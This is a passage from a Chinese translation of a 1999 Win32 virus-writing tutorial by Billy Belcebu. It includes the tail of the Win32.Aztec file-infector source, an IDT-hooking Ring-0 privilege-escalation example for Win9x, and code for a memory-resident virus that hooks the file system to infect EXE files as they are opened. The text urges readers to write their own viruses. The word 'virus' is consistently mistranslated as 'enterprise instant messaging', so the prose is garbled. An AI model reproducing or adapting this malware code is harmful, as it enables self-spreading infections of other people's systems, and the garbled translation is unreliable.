; ?lpFileName: 指向一个以NULL结尾的字符串,这个字符串指定要创建或打开的对象(文件,
; 管道, 邮槽, 通信资源, 磁盘设备, 控制台, 或目录)的名字。
; 如果*lpFileName 是一个路径,就有一个缺省的路径字符个数的MAX_PATH个数限制,
; 这个限制和CreateFile函数怎么解析路径有关。
;
; ?dwDesiredAccess: 指访问的对象的类型。一个应用程序可以获得读访问,写访问,读-写
; 访问,或者设备查询访问。
;
; ?dwShareMode: 设置一些标志来指定对象是怎么共享的。如果dwShareMode是0,这个对象
; 就不能关系。随后的对这个对象的打开操作也会失败,直到句柄被关闭。
;
; ?lpSecurityAttributes: 指向一个 SECURITY_ATTRIBUTES 结构,来确定返回的句柄是
; 否能从子进程继承。如果lpSecurityAttributes是NULL,句柄就不能继承。
;
; ?dwCreationDistribution: 指对文件采取已知的什么行动,和未知的行动。
;
; ?dwFlagsAndAttributes: 指文件的属性和标志。
;
; ?hTemplateFile:指用GENERIC_READaccess 访问一个模板文件的句柄。这个模板文件在
; 文件创建的时候提供文件属性和扩展的属性。Windows 95:这个值必须为NULL。如果你
; 在Windows 95下提供一个句柄,这个调用会失败而且GetLastError返回
; ERROR_NOT_SUPPORTED。
;
; 返回值
; ======
;
; ?如果函数成功了,返回值是一个打开的指定文件的句柄。如果指定的文件在函数调用前存
; 在和dwCreationDistribution是CREATE_ALWAYS 或 OPEN_ALWAYS的时候,一个调用
; GetLastError 函数会返回 ERROR_ALREADY_EXISTS(甚至函数成功了)。如果文件在
; 调用之前不存在,GetLastError将返回0。
; ?如果函数失败了,返回值是INVALID_HANDLE_VALUE。为了获取信息的错误信息,调用GetLastError。
;---------------------------------------------------------------------------
; 输入:
; ECX - 映射大小
; 输出:
; EAX - 如果成功为映射句柄
CreateMap proc
xor eax,eax
push eax
push ecx
push eax
push 00000004h
push eax
push dword ptr [ebp+FileHandle]
call [ebp+_CreateFileMappingA]
ret
CreateMap endp
;---------------------------------------------------------------------------
; CreateFileMapping 函数为指定文件创建一个命名的或未命名的文件映射对象。
;
; HANDLE CreateFileMapping(
; HANDLE hFile, // 要映射的文件的句柄
; LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // 可选安全属性
; DWORD flProtect, // 为映射对象保护
; DWORD dwMaximumSizeHigh, // 32位对象大小的高位
; DWORD dwMaximumSizeLow, // 32位对象大小的低位
; LPCTSTR lpName // 文件映射对象的名字
; );
;
; 参数
; ====
; ;
; ?hFile: 指从哪个文件创建映射对象。这个文件必须以和由flProtect参数指定的包含标
; 志相兼容的访问模式打开。建议,虽然不是必须,你打算映射的文件应该以独占方式打
; 开。
; 如果hFile 是 (HANDLE)0xFFFFFFFF,调用进程还必须在dwMaximumSizeHigh和
; dwMaximumSizeLow参数中指定映射对象的大小。这个函数是通过操作系统的页文件
; 而不是文件系统中的命名文件来创建一个指定大小的文件映射对象的。文件映射对象
; 可通过复制,继承或命名来共享。
;
; ?lpFileMappingAttributes: 指向一个SECURITY_ATTRIBUTES 结构,决定返回的句柄是
; 否可以被子进程继承。如果lpFileMappingAttributes 是NULL,句柄就不能被继承。
;
; ?flProtect: 指定当文件被映射的时候文件需要的保护。
;
; ?dwMaximumSizeHigh: 指定文件映射对象的32位最大大小的高位。
;
; ?dwMaximumSizeLow: 指定文件映射对象的32位最大大小的低位。如果这个参数和
; dwMaximumSizeHig为0,那么文件映射对象的最大大小等于有hFile确定的文件的
; 当前大小。
;
; ?lpName: 指向一个NULL结尾的字符串来指定映射对象的名字。这个名字可以包含除了反
; 斜线符号(\)之外的所有字符。
; 如果这个参数和已经存在的命名了的映射对象的名字相同,这个函数请求通过由flProtect
; 指定的保护来访问映射对象。
; 如果参数是NULL,映射对象就不通过命名创建。
;
; 返回值
; ======
;
; ?如果函数成功,返回值是一个文件映射对象的句柄。如果在调用这个函数之前对象已经
; 存在了,GetLastError 函数将返回 ERROR_ALREADY_EXISTS,而且返回值是一个已
; 经存在的文件映射对象(由当前的大小,而不是新的指定大小)的合法句柄。如果映射
; 对象不存在,GetLastError返回0。
; ?如果函数失败,返回值是NULL。想要知道详细的错误信息,调用GetLastError函数。
;---------------------------------------------------------------------------
; input:
; ECX - Size to map
; output:
; EAX - MapAddress if succesful
MapFile proc
xor eax,eax
push ecx
push eax
push eax
push 00000002h
push dword ptr [ebp+MapHandle]
call [ebp+_MapViewOfFile]
ret
MapFile endp
;---------------------------------------------------------------------------
; MapViewOfFile函数映射一个文件视图到调用进程的地址空间中去。
;
; LPVOID MapViewOfFile(
; HANDLE hFileMappingObject, // 要映射的文件映射对象
; DWORD dwDesiredAccess, // 访问模式
; DWORD dwFileOffsetHigh, // 32位文件偏移地址的高位
; DWORD dwFileOffsetLow, // 32位文件偏移地址的低位
; DWORD dwNumberOfBytesToMap // 要映射的字节数
; );
;
;
; 参数
; ====
;
; ?hFileMappingObject: 指定一个打开的文件映射对象的句柄。CreateFileMapping 和
; OpenFileMapping函数返回这个句柄。
;
; ?dwDesiredAccess: 指访问文件视图的类型,而且因此页的保护由这个文件映射。
;
; ?dwFileOffsetHigh: 指映射开始的偏移地址的高32位。
;
; ?dwFileOffsetLow: 指映射开始的偏移地址的低32位。
;
; ?dwNumberOfBytesToMap: 指文件映射的字节数。如果dwNumberOfBytesToMap是0,那么
; 整个文件将被映射。
;
; 返回值
; ======
;
; ?如果函数调用成功,返回值是映射视图开始的地址。
; ?如果函数调用失败,返回值是NULL。想要知道详细的错误信息,调用GetLastError。
;---------------------------------------------------------------------------
mark_ db "[Win32.Aztec v1.01]",0
db "(c) 1999 Billy Belcebu/iKX",0
EXE_MASK db "*.EXE",0
infections dd 00000000h
kernel dd kernel_
@@Namez label byte
@FindFirstFileA db "FindFirstFileA",0
@FindNextFileA db "FindNextFileA",0
@FindClose db "FindClose",0
@CreateFileA db "CreateFileA",0
@SetFilePointer db "SetFilePointer",0
@SetFileAttributesA db "SetFileAttributesA",0
@CloseHandle db "CloseHandle",0
@GetCurrentDirectoryA db "GetCurrentDirectoryA",0
@SetCurrentDirectoryA db "SetCurrentDirectoryA",0
@GetWindowsDirectoryA db "GetWindowsDirectoryA",0
@GetSystemDirectoryA db "GetSystemDirectoryA",0
@CreateFileMappingA db "CreateFileMappingA",0
@MapViewOfFile db "MapViewOfFile",0
@UnmapViewOfFile db "UnmapViewOfFile",0
@SetEndOfFile db "SetEndOfFile",0
db 0BBh
align dword
virus_end label byte
heap_start label byte
dd 00000000h
NewSize dd 00000000h
SearchHandle dd 00000000h
FileHandle dd 00000000h
MapHandle dd 00000000h
MapAddress dd 00000000h
AddressTableVA dd 00000000h
NameTableVA dd 00000000h
OrdinalTableVA dd 00000000h
@@Offsetz label byte
_FindFirstFileA dd 00000000h
_FindNextFileA dd 00000000h
_FindClose dd 00000000h
_CreateFileA dd 00000000h
_SetFilePointer dd 00000000h
_SetFileAttributesA dd 00000000h
_CloseHandle dd 00000000h
_GetCurrentDirectoryA dd 00000000h
_SetCurrentDirectoryA dd 00000000h
_GetWindowsDirectoryA dd 00000000h
_GetSystemDirectoryA dd 00000000h
_CreateFileMappingA dd 00000000h
_MapViewOfFile dd 00000000h
_UnmapViewOfFile dd 00000000h
_SetEndOfFile dd 00000000h
MAX_PATH equ 260
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db MAX_PATH dup (?)
WFD_szAlternateFileName db 13 dup (?)
db 03 dup (?)
directories label byte
WindowsDir db 7Fh dup (00h)
SystemDir db 7Fh dup (00h)
OriginDir db 7Fh dup (00h)
dirs2inf equ (($-directories)/7Fh)
mirrormirror db dirs2inf
heap_end label byte
;---------------------------------------------------------------------------
; 这是一个简单的用来获取企业即时通讯将要搜索文件来感染的所有目录,并按这个特定顺序。
; 因为一个目录的最大长度是7F字节,我已经保存到堆栈(看下面)的三连续变量中,
; 因此避免无用的代码占更多的字节,和随企业即时通讯传播无用的数据。请注意在最后一个
; API中没有任何错误,因为在那个API中,顺序改变了。让我们对那个API做一个更
; 深的分析:
;
; GetWindowsDirectory函数得到Windows的目录。Windows目率包含了一些基于Windows
; 的应用程序,初始化文件,和帮助文件。
;
; UINT GetWindowsDirectory(
; LPTSTR lpBuffer, // 保存Windows目录的缓存地址
; UINT uSize // 目录缓存的大小
; );
;
; 参数
; ====
; ?lpBuffer: 指向接受NULL结尾的包含路径的字符串的缓存。这个路径不是以一个
; 反斜线符号结束的,除非Windows目录是根目录。例如,如果Windows目录是在C
; 盘上的以WINDOWS命名的,那么这个函数返回的Windows目录是C:\WINDOWS.如果
; Windows是安装在C盘的根目录上的,返回的路径是C:\。
; ?uSize: 指定被lpBuffer参数指向的缓存的字符最大个数。这个值应该设置成至少
; 为MAS_PATH来为路径指定足够的空间。
;
; 返回值
; ======
;
; ?如果函数成功执行了,返回值是复制到缓冲区的字符个数,不包括NULL结尾符。
; ?如果长度比缓冲区的大小还要大,返回值将是缓冲区所需要保存路径所需要的
; 大小。
;
; ---
;
; GetSystemDirectory 函数得到的是Windows系统目录,系统目录包括诸如Windows库
; 驱动和字体文件。
;
; UINT GetSystemDirectory(
; LPTSTR lpBuffer, // 保存系统目录的缓冲区
; UINT uSize // 目录缓冲区的大小
; );
;
;
; 参数
; ====
;
; ?lpBuffer: 指向接受以NULL结尾的包含路径的字符串的缓冲区。这个路径不是以一个
; 反斜线符号结尾的,除非系统目录是根目录。例如,如果系统目录是在C盘上的名为
; WINDOWS\SYSTEM,那么这个函数返回的系统目录路径为C:\WINDOWS\SYSTEM。
;
; ?uSize: 指定缓冲区的最大字符个数。这个值应该被设置成最小MAX_PATH。
;
; 返回值
; ======
;
; ?如果函数成功了,返回值是复制到缓冲区中的字符个数,不包括NULL结尾字符。
; 如果长度大于缓冲区的大小,返回值是保存路径的缓冲区所需要的大小。
;
; ---
;
; GetCurrentDirectory 函数得到的是当前进程的当前目录。
; current process.
;
; DWORD GetCurrentDirectory(
; DWORD nBufferLength, // 目录缓冲区的字符个数
; LPTSTR lpBuffer // 保存当前目录的缓冲区地址
; );
;
; 参数
; ====
;
; ?nBufferLength: 保存当前目录字符串的缓冲区的字符个数。缓冲区的长度必须包括
; NULL字符在内。
;
; ?lpBuffer: 指向保存当前目录字符串缓冲区的字符串。这个以NULL结尾的字符串保存
; 的是当前目录的绝对路径。
;
; 返回值
; ======
;
; ?如果函数成功执行了,返回的值是写到缓冲区的字符个数,不包括NULL字符。
;------------------------------------------------------------------------
;---------------------------------------------------------------------------
; 上面所有的都是企业即时通讯要使用的数据;)
;---------------------------------------------------------------------------
; First generation host
fakehost:
pop dword ptr fs:[0] ; 清除堆栈
add esp,4
popad
popfd
xor eax,eax ; 用第一次生成的无聊的信息显示MessageBox
push eax
push offset szTitle
push offset szMessage
push eax
call MessageBoxA
push 00h ; 终止第一次生成
call ExitProcess
end aztec
;------到这儿为止剪切-------------------------------------------------------
好了,我认为关于这个企业即时通讯我已经解释得够清楚了。它只是一个简单的直接行为(运行期)企业即时通讯,能够在所有的Win32平台上工作,而且在当前目录,windows目录和系统目录上感染5个文件。它没有任何隐藏自己的机制(因为它是一个示例企业即时通讯),而且我想它能够被所有的反企业即时通讯软件检测到。所以它不值得改变字符串并声称是它的作者。你应该自己做。因为我知道企业即时通讯的一些部分还不够清晰(如那些调用API函数,如完成一个任务用的值),下面就简要地列举出怎么调用一些API来做具体地事情。
-> 怎么打开一个文件进行读写?
我们用来做这个的API是CreateFileA。建议参数如下:
push 00h ; hTemplateFile
push 00h ; dwFlagsAndAttributes
push 03h ; dwCreationDistribution
push 00h ; lpSecurityAttributes
push 01h ; dwShareMode
push 80000000h or 40000000h ; dwDesiredAccess
push offset filename ; lpFileName
call CreateFileA
+ hTemplateFile, dwFlagsAndAttributes 和 lpSecurityAttributes 应该为0。
+ dwCreationDistribution, 有一些有趣的值。 它可以为:
CREATE_NEW = 01h
CREATE_ALWAYS = 02h
OPEN_EXISTING = 03h
OPEN_ALWAYS = 04h
TRUNCATE_EXISTING = 05h
当我们想要打开一个已经存在的文件的时候,我们使用OPEN_EXISTING,即03h。如果我们因为企业即时通讯的需要而要打开一个模板文件,我们在这里将要使用另外一个值,如CREATE_ALWAYS。
+ dwShareMode 应该为 01h, 总之,我们可以从下面的值中选择:
FILE_SHARE_READ = 01h
FILE_SHARE_WRITE = 02h
应该用MapViewOfFile这个API函数,它的建议参数如下:
push size_to_map ; dwNumberOfBytesToMap
push 00h ; dwFileOffsetLow
push 00h ; dwFileOffsetHigh
push 02h ; dwDesiredAccess
push map_handle ; hFileMappingObject
call MapViewOfFile
+ dwFileOffsetLow 和 dwFileOffsetHigh 应该为 0
+ dwNumberOfBytesToMap 是我们想要映射的文件的字节数
+ dwDesiredAccess 可以为如下值:
FILE_MAP_COPY = 00000001h
FILE_MAP_WRITE = 00000002h
FILE_MAP_READ = 00000004h
我建议 FILE_MAP_WRITE。
+ hFileMappingObject 应该为映射句柄( Mapping Handle ), 由先前调用的CreateFileMappingA函数返回。
** 如果失败,这个 API 将会返回给我们NULL, 否则它将返回给我们映射地址(Mapping Address)。所以,从那个映射地址,你可以访问映射空间的任何地方,并进行你想要的修改:)为了关闭那个映射地址,应该用UnmapViewOfFile这个API。
-> 怎么关闭文件句柄和映射句柄?
OK,我们必须使用CloseHandle这个API。
push handle_to_close ; hObject
call CloseHandle
** 如果关闭成功, 它返回 1。
-> 怎么关闭映射地址?
你应该使用UnmapViewOfFile。
push mapping_address ; lpBaseAddress
call UnmapViewOfFile
** 如果关闭成功,它返回1。
【Ring-0,在上帝级编码】
~~~~~~~~~~~~~~~~~~~~~~
自由!你热爱吗?在Ring-0,我们在限制之外,那里没有任何限制。因为Micro$oft的无能,我们有很多的方法跳到这个级别,一个理论上不能到达的地方。但是,我们可以在Win9X系统中跳转到Ring-0:)
例如,Micro$oft的傻瓜们没有保护中断表。这在我的眼中是一个巨大的安全失败。但话又说过来,如果我们可以利用它编写企业即时通讯,它就不是一个错误了,它就是一个礼物!;)
% 来到 Ring-0 %
~~~~~~~~~~~~~~~
好了,我将解释在我看来最简单的方法,那就是IDT修改。IDT(Interrupt Descriptor Table)不是一个固定的地址,所以我们必须使用指令来定位它,那就是SIDT。
----------------------------------------------------------------------------
_______________________________________________________
| SIDT - Store Interrupt Descriptor Table (286+ 专有) |
|_______________________________________________________|
+ 用法: SIDT 目标
+ 修改标记: 无
存储Interrupt Descriptor Table (IDT)寄存器到指定操作数中。
Clocks Size
Operands 808X 286 386 486 Bytes
mem64 - 12 9 10 5
0F 01 /1 SIDT mem64 Store IDTR to mem64
----------------------------------------------------------------------------
如果我们使用SIDT还不够清晰的话,它仅仅保存IDT的FWORD偏移(WORD:DWORD格式)。而且,如果我们知道了IDT在哪里,我们可以修改中断向量,并使它们指向我们的代码。展示给你的是Micro$oft的蹩脚的代码编写者。让我们继续我们的工作。在使中断向量改变后指向我们的代码(并把它们保存,以备以后恢复)之后,我们只要调用我们已经钩住(hook)的中断即可。如果看起来现在对你还不清晰,下面是通过修改IDT的方法来跳到Ring-0的代码。
;---------从这儿开始剪切----------------------------------------------------
.586p ; Bah... simply for phun.
.model flat ; Hehehe i love 32 bit stuph ;)
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
Interrupt equ 01h ; Nothing special
.data
szTitle db "Ring-0 example",0
szMessage db "I'm alive and kicking ass",0
;------------------------------------------------------------------------------
;好了,这一段对你来说已经相当清晰了,是吗? :)
;------------------------------------------------------------------------------
.code
start:
push edx
sidt [esp-2] ; Interrupt table to stack
pop edx
add edx,(Interrupt*8)+4 ; Get interrupt vector
;------------------------------------------------------------------------------
; 这相当简单。SIDT,正如我以前解释过的,把IDT的地址保存到一个内存地址中,为了
; 我们的简单起见,我们直接使用了堆栈。接下来是一个POP指令,它把IDT的偏移地址
; 装载到寄存器(这里为EDX)中。下一行是仅仅为了定位我们想要的中断的偏移地址。这
; 就和在DOS下玩IVT一样...
;------------------------------------------------------------------------------
mov ebx,[edx]
mov bx,word ptr [edx-4] ; Whoot Whoot
;------------------------------------------------------------------------------
; 相当简单。它仅仅是为了将来恢复,把EDX指向的内容保存到EBX中
;------------------------------------------------------------------------------
lea edi,InterruptHandler
mov [edx-4],di
ror edi,16 ; Move MSW to LSW
mov [edx+2],di
;------------------------------------------------------------------------------
; 我以前是不是说过了它有多简单? :)这里,我们给EDI指向新中断处理的偏移地址,下
; 面的3行是把那个处理放到IDT中。为什么那样ROR呢?嗯,如果你使用ROR,SHR或SAR都
; 没关系,因为它仅仅把中断处理偏移的MSW(More Significant Word)移到LSW (Less
; Significant Word)中,然后保存。
;------------------------------------------------------------------------------
push ds ; Safety safety safety...
push es
int Interrupt ; Ring-0 comez hereeeeeee!!!!!!!
pop es
pop ds
;------------------------------------------------------------------------------
;Mmmm...很有意思。我们为了安全起见,把DS和ES压栈了,避免一些罕见的错误,但是
;它可以不用它工作,相信我。因为中断已经被补丁过了,除了设置这个中断之外,不用
;做其它任何事情了...现在我们已经在RING0里了,下面的代码是继续InterruptHandler
;------------------------------------------------------------------------------
mov [edx-4],bx ; Restore old interrupt values
ror ebx,16 ; ROR, SHR, SAR... who cares?
mov [edx+2],bx
back2host:
push 00h ; Sytle of MessageBox
push offset szTitle ; Title of MessageBox
push offset szMessage ; The message itself
push 00h ; Handle of owner
call MessageBoxA ; The API call itself
push 00h
call ExitProcess
ret
;------------------------------------------------------------------------------
;现在除了恢复原先的保存在EBX中的中断向量外,没做其它更多的事情。然后,我们
;返回代码到主体。(好了,只是假设是那样) ;)
;------------------------------------------------------------------------------
InterruptHandler:
pushad
; 下面是你的代码 :)
popad
iretd
end start
;---------从这儿为止剪切----------------------------------------------------
现在我们可以访问它了。我想所有人都可以做它,但是现在对于普通企业即时通讯在第一次访问Ring-0时又面临一个问题:我们为什么现在做呢?
% 在 Ring-0 下编写企业即时通讯 %
~~~~~~~~~~~~~~~~~~~~~~~~
我喜欢开始有一点点算法的教程,所以你将来我们该怎样在Ring-0编写企业即时通讯的时候碰到一个。
----------------------------------------------------------------------
1.测试运行的操作系统(OS):如果NT,跳过企业即时通讯并返回目录给主体
2.跳到Ring-0(IDT,VMM插入或调用门技术)
3.执行一个中断,它包含了感染代码。
3.1.获得一个放置企业即时通讯驻留的地方(开辟页或者在堆中)
3.2.把企业即时通讯放进去
3.3.钩住文件系统并保存旧的钩子
3.3.1.在FS Hook中,首先要保存所有的参数并修复ESP
3.3.2.参数压栈
3.3.3.然后检查系统是否试图打开一个文件,如果没有,跳过
3.3.4.如果试图打开,首先把文件名转化成ASCII码
3.3.5.然后检查是否是一个EXE文件。如果不是,跳过感染
3.3.6.打开,读文件头,操作,重写,添加和关闭
3.3.7.调用旧的钩子
3.3.8.跳过所有的返回到ESP的参数
3.3.9.返回
3.4.返回
4.恢复旧的中断向量
5.返回控制权给主体
----------------------------------------------------------------------
这个算法有一点点大,无论如何我可以使它更概要,但是我更愿意直接行动。OK,来吧,Let's go!
当文件运行时测试操作系统
~~~~~~~~~~~~~~~~~~~~~~~~
因为在NT下Ring-0有些问题(Super,解决它们!),我们必须我们所在的操作系统,如果不是Win9X平台就返回控制权给主体。好了,有很多方法去做这个:
+ 使用 SEH
+ 检查代码段的值
好了,我假设你已经知道了怎么玩SEH,对吗?我在另外一章已经解释了它的用法,所以现在是去读一下它的时候了:)关于第二个可能的事情,下面是代码:
mov ecx,cs
xor cl,cl
jecxz back2host
这个例子的解释:在Windows NT中,代码段总是小于100h,而在Win95/98中总是大一些,所以我们清除它的低位字节,而且如果它比100小,ECX将为0,反过来,如果它比100大,它将不会是0:)优化了,耶;)
%跳到Ring-0并执行中断%
~~~~~~~~~~~~~~~~~~~~~~
好了,已经在这个文档中的访问Ring-0部分解释了最简单的方法,所以关于这个我就不多说了:)
%我们已经在Ring-0里了...该做什么呢?%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在Ring-0里面,代之API,我们有VxD服务。VxD 服务以下面的形式访问:
int 20h
dd vxd_service
vxd_service占两个字,MSW表明VxD号,而LSW表明我们从VxD中调用的函数。例如,我将使用VMM_PageModifyPermissions值:
dd 0001000Dh
↑_____↑_____ Service 000Dh _PageModifyPermissions
|_______ VxD 0001h VMM
所以,为了调用它,我们必须如下做:
int 20h
dd 0001000Dh
一个非常聪明的编码方式是编写一个宏来自动做这个,并使号码为EQUates。但是,那是你的选择。这个值是固定的,所以,在Win95和Win98中一样。不要担心,Ring-0的一个好处是你不需要在Kernel中或其它地方搜索偏移地址(当我们使用API的时候),因为没有必要做它,必须硬编码:)
这里我必须声明一个我们在编写一个Ring-0企业即时通讯的时候必须清除的非常重要的事情:int 20h和地址,我演示给你的访问VxD的函数,在内存中如下:
call dword ptr [VxD_Service] ; 回调服务
你可以认为有点愚蠢,但是,它非常重要,而且真的很痛苦,因为企业即时通讯用这些CALL而不是int和服务的双字偏移来复制到宿主,这使得企业即时通讯只能在你的计算机上执行,而不能在其他人的机器上运行:(在现实生活中,这个麻烦有许多解决方法。它们中的其中的一个,正如Win95.Padania所做的,在每个VxD调用后面修复它。另外的方法是:做一个所有的偏移地址的表来修复,直接做等等。下面是我的代码,而且你可以在我的Garaipena和PoshKiller中看到它:
VxDFix:
mov ecx,VxDTbSz ; 传送例程的次数
lea esi,[ebp+VxDTblz] ; 指向表的指针
@lo0pz:lodsd ; 把当前表的偏移地址装载到EAX中
add eax,ebp ; 加上delta 偏移
mov word ptr [eax],20CDh ; 放到那个地址中
mov edx,dword ptr [eax+08h] ; 获得 VxD 服务值
mov dword ptr [eax+02h],edx ; 并恢复它
loop @lo0pz ; 校正另外一个
ret
VxDTblz label byte ; 所有有VXD调用的偏移地址表
dd (offset @@1)
dd (offset @@2)
dd (offset @@3)
dd (offset @@4)
; [...] 所有其它的调用VxD函数的指针必须列在这里 :)
VxDTbSz equ (($-offset VxDTblz)/4) ; 个数
我希望你理解了每个我们调用的VxD函数必须有它的偏移地址。哦,我几乎忘了另外一件重要的事情:如果你正在使用我的VxD修正过程,你的VxDCall宏该怎样。下面给出:
VxDCall macro VxDService
local @@@@@@
int 20h ; CD 20 +00h
dd VxDService ; XX XX XX XX +02h
jmp @@@@@@ ; EB 04 +06h
dd VxDService ; XX XX XX XX +08h
@@@@@@:
endm
OK,现在我们需要一个驻留的地方。我个人偏向于放在net堆中,因为它很容易编写(懒人的规则!)。
---------------------------------------------------------------------------
** IFSMgr_GetHeap - 开辟一块net堆
+ 除非IFSMgr执行了SysCriticalInit,否则这个服务将不合法
+ 这个函数使用 C6 386 _cdecl 调用顺序
+ 入口 -> TOS - 需要大小
+ 出口 -> EAX - 堆块的地址,如果失败为0
+ 使用 C 寄存器 (eax, ecx, edx, flags)
---------------------------------------------------------------------------
以上是一些Win95 DDK的信息。让我们看看关于这个的例子:
InterruptHandler:
pushad ; Push 所有寄存器
push virus_size+1024 ; 我们需要的内存 (virus_size+buffer)
; 当你使用缓冲区的时候,更好
; 把它加上更多的字节
@@1: VxDCall IFSMgr_GetHeap
pop ecx
够清楚了吧?正如DDK所说的,如果它失败了,它将在EAX中返回给我们0,所以检查可能的失败。接下来的POP非常重要,因为VxD的大多数服务不修正堆栈,所以我们在调用VxD函数之前压栈的值还在堆栈中。
or eax,eax ; cmp eax,0
jz back2ring3
如果函数成功了,我们在EAX中得到了我们必须移动的企业即时通讯主体的地址,那么Let's go!
mov byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1
mov edi,eax ; Where move virus
lea esi,ebp+start ; What to move
push eax ; Save memory address for later
sub ecx,1024 ; We move only virus_size
rep movsb ; Move virus to its TSR location ;)
pop edi ; Restore memory address
我们在一个内存地址中的是企业即时通讯,准备TSR的,对吗?而且在EDI中是企业即时通讯在内存中开始的地址,所以我们可以把它作为下个函数的delta offset:)好了,我们现在需要hook文件系统了对吗?OK,有一个函数可以做这个工作。很惊讶,是把? Micro$oft微软工程师为我们做了累活。
---------------------------------------------------------------------------
** IFSMgr_InstallFileSystemApiHook - 安装一个文件系统 api hook
这个服务为调用者安装一个文件系统api hook。这个hook在IFS manager 和一个FSD之间,钩子可以看任何IFS manager对FSD的任何调用。
这个函数使用C6 386 _cdecl 调用顺序
ppIFSFileHookFunc
IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )
入口 TOS - 将要安装作为钩子的函数的地址
出口 EAX - 指向在这个链中的包含以前钩子的地址变量
使用 C 寄存器
---------------------------------------------------------------------------
清楚了吧?如果不,我希望你在看了一些代码之后,理解了它。好了,让我们钩住文件系统(hook FileSystem)...
lea ecx,[edi+New_Handler] ; (vir address in mem + handler offs)
push ecx ; Push it
@@2: VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call
pop ecx ; Don't forget this, guy
mov dword ptr [edi+Old_Handler],eax ; EAX=Previous hook
back2ring3:
popad
iretd ; return to Ring-3. Yargh
好了,我们已经看完了Ring-0企业即时通讯的安装部分。现在,我们必须编写文件系统(FileSystem)的处理部分了:)简单,但是否如你所想?:)
FileSystem Handler:真正有趣!!!
耶,下面是驻留感染它自己,但是我们在开始之前不得不做些事情。首先,我们必须对堆栈做一个安全拷贝,也就是说保存ESP内容到EBP寄存器中。然后,我们应该把ESP减去20h,为了修正堆栈指针。让我们看看一些代码:
New_Handler equ $-(offset virus_start)
FSA_Hook:
push ebp ; Save EBP content 4 further restorin
mov ebp,esp ; Make a copy of ESP content in EBP
sub esp,20h ; And fix the stack
现在,因为我们的函数要被系统用一些参数调用,我们应该push它们,就像原先的处理程序所做的。要push的参数从EBP+08h到EBP+1Ch,包含它们,并和IOREQ结构相关。
push dword ptr [ebp+1Ch] ; pointer to IOREQ structure.
push dword ptr [ebp+18h] ; codepage that the user string was
; passed in on.
push dword ptr [ebp+14h] ; kind of resource the operation is
; being performed on.
push dword ptr [ebp+10h] ; the 1-based drive the operation is
; being performed on (-1 if UNC).
push dword ptr [ebp+0Ch] ; function that is being performed.
push dword ptr [ebp+08h] ; address of the FSD function that
; is to be called for this API.
现在,我们已经把应该push的参数push到正确的地方了,所以对它们不要再担心了。现在,我们必须检查你将要操作的IFSFN函数。下面你得到的是最重要的小列表:
-------------------------------------------------------------------------------
** 传送给 IFSMgr_CallProvider 的IFS函数ID
IFSFN_READ equ 00h ; read a file
IFSFN_WRITE equ 01h ; write a file
IFSFN_FINDNEXT equ 02h ; LFN handle based Find Next
IFSFN_FCNNEXT equ 03h ; Find Next Change Notify
IFSFN_SEEK equ 0Ah ; Seek file handle
IFSFN_CLOSE equ 0Bh ; close handle
IFSFN_COMMIT equ 0Ch ; commit buffered data for handle
IFSFN_FILELOCKS equ 0Dh ; lock/unlock byte range
IFSFN_FILETIMES equ 0Eh ; get/set file modification time
IFSFN_PIPEREQUEST equ 0Fh ; named pipe operations
IFSFN_HANDLEINFO equ 10h ; get/set file information
IFSFN_ENUMHANDLE equ 11h ; enum file handle information
IFSFN_FINDCLOSE equ 12h ; LFN find close
IFSFN_FCNCLOSE equ 13h ; Find Change Notify Close
IFSFN_CONNECT equ 1Eh ; connect or mount a resource
IFSFN_DELETE equ 1Fh ; file delete
IFSFN_DIR equ 20h ; directory manipulation
IFSFN_FILEATTRIB equ 21h ; DOS file attribute manipulation
IFSFN_FLUSH equ 22h ; flush volume
IFSFN_GETDISKINFO equ 23h ; query volume free space
IFSFN_OPEN equ 24h ; open file
IFSFN_RENAME equ 25h ; rename path
IFSFN_SEARCH equ 26h ; search for names
IFSFN_QUERY equ 27h ; query resource info (network only)
IFSFN_DISCONNECT equ 28h ; disconnect from resource (net only)
IFSFN_UNCPIPEREQ equ 29h ; UNC path based named pipe operation
IFSFN_IOCTL16DRIVE equ 2Ah ; drive based 16 bit IOCTL requests
IFSFN_GETDISKPARMS equ 2Bh ; get DPB
IFSFN_FINDOPEN equ 2Ch ; open an LFN file search
IFSFN_DASDIO equ 2Dh ; direct volume access
-------------------------------------------------------------------------------
对我们来说的第一件事,我们感兴趣的唯一的函数是24h,那就是说打开。系统几乎每时每刻都在调用那个函数,所以对它没有任何问题。为这个编码就和你能想象的一样简单:)
cmp dword ptr [ebp+0Ch],24h ; Check if system opening file
jnz back2oldhandler ; If not, skip and return to old h.
现在开始有意思的。我们知道这里系统请求文件打开,所以现在该我们了。首先,我们应该检查我们是否在进行我们自己的调用...简单,仅仅加一个小变量,它将出现一些问题。Btw,我几乎忘了,获得delta offset :)
pushad
call ring0_delta ; Get delta offset of this
ring0_delta:
pop ebx
sub ebx,offset ring0_delta
cmp byte ptr [ebx+semaphore],00h ; Are we the ones requesting
jne pushnback ; the call?
inc byte ptr [ebx+semaphore] ; For avoid process our own calls
pushad
call prepare_infection ; We'll see this stuff later
call infection_stuff
popad
dec byte ptr [ebx+semaphore] ; Stop avoiding :)
pushnback:
popad
现在我将继续介绍处理程序本身,然后,我将解释我是怎么做这些例程的,prepare_infection 和 infection_stuff。如果系统正在请求一个调用,我们就退出我们将要处理的例程,OK?现在,我们必须编写调用旧的FileSystem hook的例程。当你还记得(我假设你没有alzheimer),我们push了所有参数,所以我们该做的唯一的事情是装到寄存器中,旧地址没关系,然后调用那个内存位置。然后,我们把ESP加18h(为了能够获得返回地址),完了。你将最好看看一些代码,所以,你将看到:
back2oldhandler:
db 0B8h ; MOV EAX,imm32 opcode
Old_Handler equ $-(offset virus_start)
dd 00000000h ; here goes the old handler.
call [eax]
add esp,18h ; Fix stack (6*4)
leave ; 6 = num. paramz. 4 = dword size.
ret ; Return
感染准备
^^^^^^^^
